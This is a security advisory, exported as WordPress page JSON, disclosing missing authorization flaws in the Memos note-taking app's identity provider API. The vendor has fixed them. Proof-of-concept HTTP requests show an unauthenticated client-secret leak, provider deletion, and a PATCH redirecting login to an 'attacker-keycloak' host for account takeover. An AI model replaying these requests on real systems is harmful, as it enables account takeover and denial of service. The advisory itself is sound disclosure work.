{"id":24614,"date":"2025-12-05T12:50:23","date_gmt":"2025-12-05T11:50:23","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=24614"},"modified":"2025-12-10T14:43:47","modified_gmt":"2025-12-10T13:43:47","slug":"usd-2025-0057","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0057\/","title":{"rendered":"usd-2025-0057"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2025-57 | Broken Access Control in IDP Server<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: memos<br \/><strong>Affected Version<\/strong>: v0.25.2<br \/><strong>Vulnerability Type<\/strong>: CWE-862: Missing Authorization<br \/><strong>Security Risk<\/strong>: High<br \/><strong>Vendor<\/strong>: usememos<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/github.com\/usememos\/memos\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/usememos\/memos<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: CVE-2025-65797<br \/><strong>CVE Link<\/strong>: <a href=\"https:\/\/www.cve.org\/CVERecord?id=CVE-2025-65797\" target=\"_blank\" rel=\"noopener\">https:\/\/www.cve.org\/CVERecord?id=CVE-2025-65797<\/a><br \/><strong>Advisory ID<\/strong>: usd-2025-57<\/p>\n<h3>Description<\/h3>\n<p>Memos is a lightweight, self-hosted knowledge management and note-taking platform designed for personal use. The architecture features a Go backend paired with a React+Vite frontend, using gRPC for internal communication and providing REST API access through gRPC-Gateway. It supports multiple database backends (SQLite, MySQL, PostgreSQL) and includes features like file attachments, OAuth\/SSO integration, activity logging, and internationalization.<\/p>\n<p>The OAuth service, managing registered identity providers, has multiple broken access control vulnerabilities. The client secret is exposed to unauthenticated users. Furthermore, authenticated users can remove registered identity providers, creating a denial of service risk. Finally, authenticated users can modify existing identity providers, enabling them to take over arbitrary accounts.<\/p>\n<h3>Proof of Concept<\/h3>\n<h4>Information Leak<\/h4>\n<p>Unauthenticated users can request a list of registered identity providers via the following HTTP request.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">GET<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/api\/v1\/identityProviders<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">memos:5230<\/span>\n<\/pre>\n<\/div>\n<p>The response contains the client secret.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span> <span class=\"m\" style=\"background: #263238;color: #f78c6c\">200<\/span> <span class=\"ne\" style=\"background: #263238;color: #ffcb6b\">OK<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Grpc-Metadata-Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/grpc<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Vary<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Origin<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">614<\/span>\n\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"identityProviders\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"name\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"identityProviders\/1\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"type\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"OAUTH2\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"title\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Keycloak\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"identifierFilter\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"config\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"oauth2Config\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"clientId\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"memos\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"clientSecret\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"uaAxplLT2BMPBV9xSJPnWUt9MBmtM8cs\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"authUrl\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"[http:\/\/keycloak:8000\/realms\/master\/protocol\/openid-connect\/auth\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,]<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">()<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">...<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">],<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"fieldMapping\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">...<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">]<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">]<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<\/pre>\n<\/div>\n<p>The client secret can be used to impersonate the Memos instance at the identity provider.<\/p>\n<h3>Denial of Service<\/h3>\n<p>Authenticated, low-privileged users can delete registered identity providers via the following HTTP request.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">DELETE<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/api\/v1\/identityProviders\/1<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">memos:5230<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">user_session=2-c2[... Session from low-privileged user ...]a6<\/span>\n<\/pre>\n<\/div>\n<p>This prevents further sign ins and represents a denial of service attack.<\/p>\n<h3>Account Takeover<\/h3>\n<p>Authenticated, low-privileged users can modify the configuration of registered identity providers via the following HTTP request.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">PATCH<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/api\/v1\/identityProviders\/1?updateMask=config<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">memos:5230<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">user_session=2-c2[... Session from low-privileged user ...]a6<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">621<\/span>\n\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"name\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"identityProviders\/1\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"type\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"OAUTH2\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"title\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"KeycloakFromAttacker\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"identifierFilter\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"config\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"oauth2Config\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"clientId\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"memos\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"clientSecret\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"uaAxplLT2BMPBV9xSJPnWUt9MBmtM8cs\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"authUrl\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"[http:\/\/attacker-keycloak:8000\/realms\/master\/protocol\/openid-connect\/auth\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,]<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">()<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"tokenUrl\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"[http:\/\/attacker-keycloak:8000\/realms\/master\/protocol\/openid-connect\/token\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,]<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">()<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"userInfoUrl\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"[http:\/\/attacker-keycloak:8000\/realms\/master\/protocol\/openid-connect\/userinfo\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,]<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">()<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"scopes\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"openid\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"profile\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"email\"<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">],<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"fieldMapping\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"identifier\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"preferred_username\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"displayName\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"username\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"email\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"email\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"avatarUrl\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"\"<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<\/pre>\n<\/div>\n<p>A malicious identity provider can then be used to take over arbitrary accounts, including the host user. Note that required usernames are accessible via the <strong>\/api\/v1\/users\/<\/strong> endpoint.<\/p>\n<h3>Fix<\/h3>\n<p>Fixes for all mentioned vulnerabilities have been submitted as <a href=\"https:\/\/github.com\/usememos\/memos\/pull\/5217\" target=\"_blank\" rel=\"noopener\">pull request<\/a>.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/owasp.org\/www-community\/Broken_Access_Control\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/Broken_Access_Control<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2025-11-03<\/strong>: First contact request<\/li>\n<li><strong>2025-11-04<\/strong>: Pull request submitted<\/li>\n<li><strong>2025-11-06<\/strong>: Commit merged to main by vendor<\/li>\n<li><strong>2025-11-25<\/strong>: <a href=\"https:\/\/github.com\/usememos\/memos\/releases\/tag\/v0.25.3\" target=\"_blank\" rel=\"noopener\">Version 0.25.3<\/a> was released<\/li>\n<li><strong>2025-12-03<\/strong>: This advisory is published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Florian Dewald of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2025-57 | Broken Access Control in IDP Server Product: memosAffected Version: v0.25.2Vulnerability Type: CWE-862: Missing AuthorizationSecurity Risk: HighVendor: usememosVendor URL: https:\/\/github.com\/usememos\/memosVendor acknowledged vulnerability: YesVendor Status: FixedCVE Number: CVE-2025-65797CVE Link: https:\/\/www.cve.org\/CVERecord?id=CVE-2025-65797Advisory ID: usd-2025-57 Description Memos is a lightweight, self-hosted knowledge management and note-taking platform designed for personal use. The architecture features a Go backend paired with [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-24614","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24614","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=24614"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24614\/revisions"}],"predecessor-version":[{"id":24716,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24614\/revisions\/24716"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=24614"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}